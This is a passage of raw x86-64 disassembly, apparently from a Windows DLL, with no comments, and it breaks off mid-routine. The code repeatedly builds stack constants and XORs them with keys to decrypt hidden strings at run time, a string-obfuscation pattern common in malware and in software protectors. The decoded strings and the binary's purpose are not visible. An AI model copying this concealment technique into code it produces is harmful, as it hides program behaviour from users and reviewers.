mov byte [rbp + 0x135], al
mov byte [rbp + 0x136], al
movabs rax, 0xb9324fc0cc8a228e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1600], rax
movabs rax, 0x3880f1fd612b6eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1608], rax
movabs rax, 0xc669e1422149cf23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1610], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1618], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc5a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc5a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc5b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc5b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1600]
vmovdqa ymmword [rbp + 0x1600], ymm1
lea rdx, [rbp + 0x1600]
lea rcx, [rbp + 0x3890]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x137], al
mov byte [rbp + 0x138], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1620], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1628], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1630], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1638], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc5c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc5c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc5d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc5d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1620]
vmovdqa ymmword [rbp + 0x1620], ymm1
lea rdx, [rbp + 0x1620]
lea rcx, [rbp + 0x3870]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3890]
lea rcx, [rbp + 0x69d0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3870]
lea rcx, [rbp + 0x69b0]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa8b8]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x69b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x69d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3870]
call fcn.180040870
nop
lea rcx, [rbp + 0x3890]
call fcn.180040870
movabs rbx, 0xe5494ff8cf8e3685
xor eax, eax
mov byte [rbp + 0x139], al
mov byte [rbp + 0x13a], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2520], rax
movabs rax, 0x2e84c8c67a2f18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2528], rax
movabs rax, 0x910dfe437904cb11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2530], rax
movabs rax, 0xd05de6379d6133c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2538], rax
movabs rax, 0x4ee268b7723ea04b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2540], rax
movabs rax, 0x291f3462a4e9280b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2548], rax
movabs rcx, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2550], rax
movabs rbx, 0x284ee4f6edcbf52c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2558], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd340], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd348], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd350], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd358], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd360], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd368], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd370], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd378], rax
vmovdqu ymm0, ymmword [rbp + 0xd340]
vpxor ymm1, ymm0, ymmword [rbp + 0x2520]
vmovdqa ymmword [rbp + 0x2520], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2540]
vpxor ymm1, ymm0, ymmword [rbp + 0xd360]
vmovdqa ymmword [rbp + 0x2540], ymm1
lea rdx, [rbp + 0x2520]
lea rcx, [rbp + 0x38b0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x38b0]
lea rcx, [rbp + 0x69f0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa380]
lea rcx, [rbp + 0xa8d8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x69f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x38b0]
call fcn.180040870
lea rcx, [rbp + 0xa8d8]
call fcn.1800117f0
test al, al
je 0x18002f168
xor eax, eax
mov byte [rbp + 0x13b], al
mov byte [rbp + 0x13c], al
movabs rax, 0xe3494ffdd3c3328b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1640], rax
movabs rax, 0x3b9ceec96b336c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1648], rax
movabs rax, 0x8e75f17d6210e11d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1650], rax
movabs rax, 0xa617ae62d45f3ccc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1658], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc5e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc5e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc5f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc5f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1640]
vmovdqa ymmword [rbp + 0x1640], ymm1
lea rdx, [rbp + 0x1640]
lea rcx, [rbp + 0x38f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x13d], al
mov byte [rbp + 0x2f0], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1660], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1668], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1670], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1678], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc600], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc608], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc610], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc618], rax
vmovdqu ymm0, ymmword [rbp + 0xc600]
vpxor ymm1, ymm0, ymmword [rbp + 0x1660]
vmovdqa ymmword [rbp + 0x1660], ymm1
lea rdx, [rbp + 0x1660]
lea rcx, [rbp + 0x38d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x38f0]
lea rcx, [rbp + 0x6a30]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x38d0]
lea rcx, [rbp + 0x6a10]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa8d8]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6a10]
call fcn.180040870
nop
lea rcx, [rbp + 0x6a30]
call fcn.180040870
nop
lea rcx, [rbp + 0x38d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x38f0]
call fcn.180040870
movabs rbx, 0x284ee4f6edcbf52c
xor eax, eax
mov byte [rbp + 0x13f], al
mov byte [rbp + 0x140], al
movabs rax, 0xe5494ff8cf8e3685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25e0], rax
movabs rax, 0x2e84c8c67a2f18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25e8], rax
movabs rax, 0xb90198725310bc1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25f0], rax
movabs rax, 0xf322fb34b47944f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25f8], rax
movabs rax, 0x749601b9446bfc44
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2600], rax
movabs rax, 0x5b746355b4f5773e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2608], rax
movabs rax, 0xabe482ef86899459
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2610], rax
movabs rax, 0x4b188fa2bda79978
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2618], rax
movabs rax, 0xca70afebdb6e7729
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2620], rax
movabs rax, 0xc52c7ead1e67414c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2628], rax
movabs rax, 0xdd0ee09cefd5296b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2630], rax
movabs rax, 0x68538138d267b27d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2638], rax
movabs rax, 0x2869a1a65318a9fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2640], rax
movabs rax, 0x602b381aad644028
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2648], rax
movabs rax, 0x428aa7914325ea31
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2650], rax
movabs rcx, 0xd35be34e2e0d0574
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2658], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd600], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd608], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd610], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd618], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd620], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd628], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd630], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd638], rax
movabs rax, 0xa622e8b1ab061a65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd640], rax
movabs rax, 0xb3624cf4761f2d2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd648], rax
movabs rax, 0xef37d1ffdfe07e0f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd650], rax
movabs rax, 0x1d6ab05ab952e130
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd658], rax
movabs rax, 0x5d3f93c5354a9a99
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd660], rax
movabs rax, 0x81209789d5d0672
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd668], rax
movabs rax, 0x7fdfcaf335498453
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd670], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd678], rax
vmovdqu ymm0, ymmword [rbp + 0xd600]
vpxor ymm1, ymm0, ymmword [rbp + 0x25e0]
vmovdqa ymmword [rbp + 0x25e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2600]
vpxor ymm1, ymm0, ymmword [rbp + 0xd620]
vmovdqa ymmword [rbp + 0x2600], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2620]
vpxor ymm1, ymm0, ymmword [rbp + 0xd640]
vmovdqa ymmword [rbp + 0x2620], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2640]
vpxor ymm1, ymm0, ymmword [rbp + 0xd660]
vmovdqa ymmword [rbp + 0x2640], ymm1
lea rdx, [rbp + 0x25e0]
lea rcx, [rbp + 0x3910]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3910]
lea rcx, [rbp + 0x6a50]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa380]
lea rcx, [rbp + 0xaa18]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6a50]
call fcn.180040870
nop
lea rcx, [rbp + 0x3910]
call fcn.180040870
lea rcx, [rbp + 0xaa18]
call fcn.1800117f0
test al, al
je 0x18002f793
xor eax, eax
mov byte [rbp + 0x141], al
mov byte [rbp + 0x142], al
movabs rax, 0xe54d4fc0f38e22bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2aa0], rax
movabs rax, 0x294e5c664546eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2aa8], rax
movabs rax, 0xa86ec271761fda15
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ab0], rax
movabs rax, 0x9b2ac936b45b44fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ab8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2ac0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2ac8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb700], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb708], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb710], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb718], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb720], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb728], rax
vmovdqu ymm0, ymmword [rbp + 0xb700]
vpxor ymm1, ymm0, ymmword [rbp + 0x2aa0]
vmovdqa ymmword [rbp + 0x2aa0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2ac0]
vpxor xmm2, xmm2, xmmword [rbp + 0xb720]
vmovdqa xmmword [rbp + 0x2ac0], xmm2
lea rdx, [rbp + 0x2aa0]
lea rcx, [rbp + 0x3950]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x143], al
mov byte [rbp + 0x144], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1680], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1688], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1690], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1698], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc620], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc628], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc630], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc638], rax
vmovdqu ymm0, ymmword [rbp + 0xc620]
vpxor ymm1, ymm0, ymmword [rbp + 0x1680]
vmovdqa ymmword [rbp + 0x1680], ymm1
lea rdx, [rbp + 0x1680]
lea rcx, [rbp + 0x3930]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3950]
lea rcx, [rbp + 0x6a90]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3930]
lea rcx, [rbp + 0x6a70]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xaa18]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6a70]
call fcn.180040870
nop
lea rcx, [rbp + 0x6a90]
call fcn.180040870
nop
lea rcx, [rbp + 0x3930]
call fcn.180040870
nop
lea rcx, [rbp + 0x3950]
call fcn.180040870
movabs rbx, 0x284ee4f6edcbf52c
xor eax, eax
mov byte [rbp + 0x145], al
mov byte [rbp + 0x146], al
movabs rax, 0xe5494ff8cf8e3685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2560], rax
movabs rax, 0x2e84c8c67a2f18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2568], rax
movabs rax, 0x8e6ef17e6208be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2570], rax
movabs rax, 0xce6fc201885f46f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2578], rax
movabs rax, 0xb9a6789771cff48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2580], rax
movabs rax, 0x611b6163a3923f09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2588], rax
movabs rcx, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2590], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2598], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd380], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd388], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd390], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd398], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd3a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd3a8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd3b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd3b8], rax
vmovdqu ymm0, ymmword [rbp + 0xd380]
vpxor ymm1, ymm0, ymmword [rbp + 0x2560]
vmovdqa ymmword [rbp + 0x2560], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2580]
vpxor ymm1, ymm0, ymmword [rbp + 0xd3a0]
vmovdqa ymmword [rbp + 0x2580], ymm1
lea rdx, [rbp + 0x2560]
lea rcx, [rbp + 0x3970]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3970]
lea rcx, [rbp + 0x6ab0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa380]
lea rcx, [rbp + 0xa8f8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6ab0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3970]
call fcn.180040870
lea rcx, [rbp + 0xa8f8]
call fcn.1800117f0
test al, al
je 0x18002fb8d
xor eax, eax
mov byte [rbp + 0x147], al
mov byte [rbp + 0x148], al
movabs rax, 0xfc2a40c0c8cf47be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16a0], rax
movabs rax, 0x3ce3cfff7e0d19bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16a8], rax
movabs rax, 0xfb38a9276445be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x16b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc640], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc648], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc650], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc658], rax
vmovdqu ymm0, ymmword [rbp + 0xc640]
vpxor ymm1, ymm0, ymmword [rbp + 0x16a0]
vmovdqa ymmword [rbp + 0x16a0], ymm1
lea rdx, [rbp + 0x16a0]
lea rcx, [rbp + 0x39b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x149], al
mov byte [rbp + 0x14a], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16c0], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16c8], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x16d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc660], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc668], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc670], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc678], rax
vmovdqu ymm0, ymmword [rbp + 0xc660]
vpxor ymm1, ymm0, ymmword [rbp + 0x16c0]
vmovdqa ymmword [rbp + 0x16c0], ymm1
lea rdx, [rbp + 0x16c0]
lea rcx, [rbp + 0x3990]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x39b0]
lea rcx, [rbp + 0x6af0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3990]
lea rcx, [rbp + 0x6ad0]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa8f8]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6ad0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6af0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3990]
call fcn.180040870
nop
lea rcx, [rbp + 0x39b0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa8f8]
call fcn.180040870
nop
lea rcx, [rbp + 0xaa18]
call fcn.180040870
nop
lea rcx, [rbp + 0xa8d8]
call fcn.180040870
nop
lea rcx, [rbp + 0xa8b8]
call fcn.180040870
nop
lea rcx, [rbp + 0xa898]
call fcn.180040870
nop
lea rcx, [rbp + 0xa878]
call fcn.180040870
nop
lea rcx, [rbp + 0xa380]
call fcn.180040870
cmp byte [rbp + 0x29], 0
je 0x1800302fb
xor eax, eax
mov byte [rbp + 0x14b], al
mov byte [rbp + 0x14c], al
movabs rax, 0xcb044dc8ff823089
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16e0], rax
movabs rax, 0xf84f0cd57276db3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x16f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x16f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc680], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc688], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc690], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc698], rax
vmovdqu ymm0, ymmword [rbp + 0xc680]
vpxor ymm1, ymm0, ymmword [rbp + 0x16e0]
vmovdqa ymmword [rbp + 0x16e0], ymm1
lea rdx, [rbp + 0x16e0]
lea rcx, [rbp + 0x39f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x39f0]
lea rcx, [rbp + 0x6b10]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x39d0]
call fcn.180004520
nop
lea rdx, [rbp + 0x39d0]
lea rcx, [rbp + 0xaa78]
call fcn.180007160
nop
lea rcx, [rbp + 0x39d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6b10]
call fcn.180040870
nop
lea rcx, [rbp + 0x39f0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x14d], al
mov byte [rbp + 0x14e], al
movabs rax, 0xc1324ff8cced3085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25a0], rax
movabs rax, 0x25ae96ff7e547cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25a8], rax
movabs rax, 0x826eee467b49db23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25b0], rax
movabs rax, 0xcd41c3068c7932f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25b8], rax
movabs rax, 0x4bf55d8f771c8849
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25c0], rax
movabs rax, 0x7f1704618adf7730
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25c8], rax
movabs rax, 0xe9ddb3bba9d4e169
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x25d0], rax
movabs rcx, 0x284ee4f6edcbf52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x25d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd3c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd3c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd3d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd3d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd3e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd3e8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd3f0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd3f8], rax
vmovdqu ymm0, ymmword [rbp + 0xd3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x25a0]
vmovdqa ymmword [rbp + 0x25a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x25c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xd3e0]
vmovdqa ymmword [rbp + 0x25c0], ymm1
lea rdx, [rbp + 0x25a0]
lea rcx, [rbp + 0x3a10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3a10]
lea rcx, [rbp + 0x6b30]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xaa78]
lea rcx, [rbp + 0xa590]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6b30]
call fcn.180040870
nop
lea rcx, [rbp + 0x3a10]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x14f], al
mov byte [rbp + 0x150], al
movabs rax, 0xef324ff8cced3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1700], rax
movabs rax, 0x389bfec6662319bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1708], rax
movabs rax, 0xfb38a9276610e122
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1710], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1718], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc6a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc6a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc6b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc6b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1700]
vmovdqa ymmword [rbp + 0x1700], ymm1
lea rdx, [rbp + 0x1700]
lea rcx, [rbp + 0x3a30]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3a30]
lea rcx, [rbp + 0xa650]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x3a30]
call fcn.180040870
lea rcx, [rbp + 0xa590]
call fcn.180020090
test al, al
je 0x1800302d5
lea r8, [rbp + 0xa650]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6b50]
call fcn.180042b70
nop
mov rdx, rax
lea rcx, [rbp + 0xa590]
call fcn.18001e330
nop
lea rcx, [rbp + 0x6b50]
call fcn.180040870
lea r8, [rbp + 0xa650]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6b70]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x6b70]
call fcn.180040870
test bl, bl
je 0x1800302d5
lea rcx, [rbp + 0xa590]
call fcn.1800117f0
test al, al
je 0x1800302d5
xor eax, eax
mov byte [rbp + 0x151], al
mov byte [rbp + 0x152], al
movabs rax, 0xe74529c0cbf92d87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1180], rax
movabs rax, 0x7be3dfff7e547cbf
